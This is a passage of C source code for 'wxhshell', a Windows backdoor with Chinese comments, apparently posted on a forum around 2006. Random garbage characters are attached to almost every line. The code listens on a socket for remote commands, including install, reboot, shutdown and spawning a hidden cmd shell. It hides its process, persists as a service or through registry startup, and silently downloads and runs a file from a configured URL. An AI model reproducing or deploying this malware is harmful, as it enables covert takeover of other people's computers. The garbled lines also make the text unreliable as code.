Tf>bX_L?  
    switch(cmd[0]) { )v'WWwXY>  
  0_jf/an,%  
  // 帮助 LP.]9ut  
  case '?': { Ki;*u_4{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g_;\iqxL  
    break; "BM#4  
  } fW?vdYF  
  // 安装 `}p0VmD{NE  
  case 'i': { 7y.kQI?3  
    if(Install()) /T"+KU*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mVj9, q0  
    else xVw9v6@`h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2R[:]-b  
    break; sU=H&D99  
    } K%t*8 4j  
  // 卸载 Kew@&j~  
  case 'r': { j`EXlc~  
    if(Uninstall()) ))qy;Q,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C"y(5U)d  
    else oh4E7yN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vx{}}/B]J  
    break; })'B<vq  
    } ,V7nzhA2  
  // 显示 wxhshell 所在路径 M`0V~P`^  
  case 'p': { S;Fi?M  
    char svExeFile[MAX_PATH]; {B~QQMEow  
    strcpy(svExeFile,"\n\r"); 9=s<Ld  
      strcat(svExeFile,ExeFile); ko!)s  
        send(wsh,svExeFile,strlen(svExeFile),0); R!HXhQ  
    break; W~)}xy  
    } 21n?=[  
  // 重启 v_yw@  
  case 'b': { irZ])a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 49eD1h3'X[  
    if(Boot(REBOOT)) Q 3 ea{!r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |NlO7aQ>2H  
    else { ~?l | [  
    closesocket(wsh); zOJ%}  
    ExitThread(0); 1v y*{D  
    } \<bx [,?  
    break; ."g`3tVK  
    } &w\{TZ{  
  // 关机 .7J#_* N V  
  case 'd': { RTYvS5 G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <3n Mx^  
    if(Boot(SHUTDOWN)) )Om*@;r(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ao 'l"-  
    else { -oGdk|Yn  
    closesocket(wsh); )705V|v  
    ExitThread(0); Zj(AJ*r  
    } X;$+,&M"  
    break; \$K20)  
    } z'Hw  
  // 获取shell ;[ZEDF5H  
  case 's': { j;zM{qu_  
    CmdShell(wsh); /l3V3B7  
    closesocket(wsh); ibcRU y0%  
    ExitThread(0); 0S"mVZ*P  
    break; hDDn,uzpd  
  } dRYqr}!%n  
  // 退出 fuW\bo3  
  case 'x': { 3<Lx&p~%T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6XxvvMA97  
    CloseIt(wsh); y RqL9t  
    break; RbB.q p  
    } _;"il%l=1  
  // 离开 #mxPw  
  case 'q': { q])K,)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }{Pp]*I<A  
    closesocket(wsh); ./Xz}<($8  
    WSACleanup(); ROI7eU  
    exit(1); ijv(9mR  
    break; xo^b&ktQd  
        } 2DA]i5  
  } 3Tcms/n  
  } Da*?x8sSL  
J0WxR&%a)  
  // 提示信息 \  #F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +Ze} B*0  
} )D O?VRI  
  } iI T;K@&  
G[PtkPSJ  
  return; #\{l"-  
} %uDi#x.  
gT. sj d  
// shell模块句柄 C[cbbp  
int CmdShell(SOCKET sock) >>r(/81S  
{ yX>K/68  
STARTUPINFO si; u,ho7ht3(  
ZeroMemory(&si,sizeof(si)); WCZjXDiwJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :U|1xgB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )rU  
PROCESS_INFORMATION ProcessInfo; e+7"/icK  
char cmdline[]="cmd"; (TtkFo'!U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NWESP U):w  
  return 0; 0D.Mke )  
} >Er|Jxy  
c^xIm'eob  
// 自身启动模式 I9A~Ye 5O&  
int StartFromService(void) P8:dU(nlW  
{ |l^uEtG  
typedef struct b#%hY{$j  
{ 7~h<$8Y(T  
  DWORD ExitStatus; v4TQX<0s  
  DWORD PebBaseAddress; -m zIT4  
  DWORD AffinityMask; u {cW:  
  DWORD BasePriority; QT5TE: D  
  ULONG UniqueProcessId; P= BZ+6DS  
  ULONG InheritedFromUniqueProcessId; ?>:g?.+  
}   PROCESS_BASIC_INFORMATION; QE+g j8  
e*kpdS~U&  
PROCNTQSIP NtQueryInformationProcess; e(&v"}Ef`  
Pbn*_/H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x;.Jw 6g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9.M4o[  
t.y2ff<[U  
  HANDLE             hProcess; H7Rx>h_  
  PROCESS_BASIC_INFORMATION pbi; ?=msH=N<l  
/U*C\ xMm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DCO\c9  
  if(NULL == hInst ) return 0; `g?Negt\v  
W+c<2?d:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x j)F55e?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HyQJXw?A:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e2Pcm_Ahv*  
q9K)Xk$LF  
  if (!NtQueryInformationProcess) return 0; |3b^~?S  
r|8d 4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k .;j  
  if(!hProcess) return 0; Qy<P463A(l  
wU36sCo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~vhE|f  
BwEN~2u6  
  CloseHandle(hProcess); _.Nbt(mz  
,8uqdk-D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s\(k<Ks  
if(hProcess==NULL) return 0; |^I0dR/w:  
gs[uD5oo<  
HMODULE hMod; %wg -=;d4  
char procName[255]; !-x$L>1$  
unsigned long cbNeeded; Ta0|+IYk<  
?!:ha;n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \:'/'^=#|  
tY<4%~%X  
  CloseHandle(hProcess); 7nTeP(M%  
B]wk+8SMY.  
if(strstr(procName,"services")) return 1; // 以服务启动 H2\;%K 2  
.VJMz4$]O  
  return 0; // 注册表启动 CsR$c,8X.  
} Kk0g0C:"EO  
&{hL&BLr  
// 主模块 L#{S!P,"  
int StartWxhshell(LPSTR lpCmdLine) re?,Wext\  
{ IPKbMlV#d  
  SOCKET wsl; f*% D$Mqg  
BOOL val=TRUE; SM#]H-3  
  int port=0; !Pvf;rNI1T  
  struct sockaddr_in door; gfd"v  
g)[V(yWu  
  if(wscfg.ws_autoins) Install(); *%NT~C q  
/t57!&  
port=atoi(lpCmdLine); R?|.pq/Ln  
/SR*W5#s  
if(port<=0) port=wscfg.ws_port; ? (Oy\  
AT 3cc  
  WSADATA data; {\"x3;3!6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c|y(2K)o[=  
/{ l$sBUL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,4e:I.b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G6P?2@  
  door.sin_family = AF_INET; H5B:;g@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iC32nY?  
  door.sin_port = htons(port); ZY55|eE  
GW@;}m(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iN\4gQ!  
closesocket(wsl); h8S.x)  
return 1; 4r#= *  
} 85$m[+md  
8I?Wt W  
  if(listen(wsl,2) == INVALID_SOCKET) { bdrg(d6  
closesocket(wsl); S~bOUdV Z  
return 1; .t-4o<7 3  
} TDKki(o=~  
  Wxhshell(wsl); BLdvyVFx  
  WSACleanup(); ]i)c{y  
$y&E(J  
return 0; BwGfTua  
(O?.)jEW(.  
} d#Y^>"|$.  
faX#**r  
// 以NT服务方式启动 X1|njJGO1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Jb@V}Ul$  
{ qPK*%Q<;  
DWORD   status = 0; *b}HNX|  
  DWORD   specificError = 0xfffffff; ;O6;.5q&  
|Nn)m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RDi]2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BWa,f8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~d4 )/y  
  serviceStatus.dwWin32ExitCode     = 0; Pb4X\9^  
  serviceStatus.dwServiceSpecificExitCode = 0; M61xPq8y5  
  serviceStatus.dwCheckPoint       = 0; =pO^7g  
  serviceStatus.dwWaitHint       = 0; =F~S?y  
m|n%$$S&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X,_2FJv  
  if (hServiceStatusHandle==0) return; cWaSn7p!X  
nI-w}NQ  
status = GetLastError(); H3 ^},.  
  if (status!=NO_ERROR) n8 i] z  
{ @7]yl&LZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oy=js -  
    serviceStatus.dwCheckPoint       = 0; 1\ ~ "VF*{  
    serviceStatus.dwWaitHint       = 0; ? 7n`A >T  
    serviceStatus.dwWin32ExitCode     = status;  SI-qC  
    serviceStatus.dwServiceSpecificExitCode = specificError; )e+>w=t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^z IW+:  
    return; F=e8IUr  
  } 2!m/  
IGQaDFr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4#xDgxg\f  
  serviceStatus.dwCheckPoint       = 0; ?m}s4a  
  serviceStatus.dwWaitHint       = 0;  :D6 ON"6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m)t;9J5  
} 2j88<Yh]H  
rk2j#>l$4  
// 处理NT服务事件,比如:启动、停止 2g-j.TM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z6=Z\P+  
{ V)HG(k  
switch(fdwControl) kR-SE5`Jk  
{ O7m(o:t x3  
case SERVICE_CONTROL_STOP: mb TEp*H  
  serviceStatus.dwWin32ExitCode = 0; i {NzV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }<v@01  
  serviceStatus.dwCheckPoint   = 0; 5y [Oj^  
  serviceStatus.dwWaitHint     = 0; iDp)FQ$  
  { D9=KXo^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JN-y)L/>  
  } (AaoCa[  
  return; IqaT?+O\?r  
case SERVICE_CONTROL_PAUSE: {yHCXFWlS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XK3tgaH  
  break; XkE`U5.  
case SERVICE_CONTROL_CONTINUE: JV^=v@Z3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rNWw?_H-H(  
  break; 5h=}j  
case SERVICE_CONTROL_INTERROGATE: %~H-)_d20  
  break; DFB@O|JL  
}; a`E#F] Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qs6]-  
} p Z|V 3  
x_N'TjS^{  
// 标准应用程序主函数 x;P_1J%Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .\ULbN3Z  
{ d9f C<Tp  
:841qCW  
// 获取操作系统版本  NI76U  
OsIsNt=GetOsVer(); f P 1[[3i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }(J}f)  
;;OAQ`  
  // 从命令行安装 eCU:Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); "Y =;.:qe  
.PIL +x*]N  
  // 下载执行文件 kzQ+j8.,U  
if(wscfg.ws_downexe) { GX!G>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pHXm>gTd,J  
  WinExec(wscfg.ws_filenam,SW_HIDE); |}s*E_/[  
} b.JuI  
u"cV%(#  
if(!OsIsNt) { ar!R|zmf  
// 如果时win9x,隐藏进程并且设置为注册表启动 58tARLDr  
HideProc(); *k(XW_>  
StartWxhshell(lpCmdLine); y*jp79G  
} jjB~G^n  
else h,u, ^ r  
  if(StartFromService()) PB\(=  
  // 以服务方式启动 B[Ku\A6&  
  StartServiceCtrlDispatcher(DispatchTable); )1J R#  
else n`B:;2X,  
  // 普通方式启动 Ct<udO  
  StartWxhshell(lpCmdLine); H7&8\ FNa  
FF`T\&u  
return 0;  9X+V4xux  
}
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只看该作者 1 发表于: 2006-10-10
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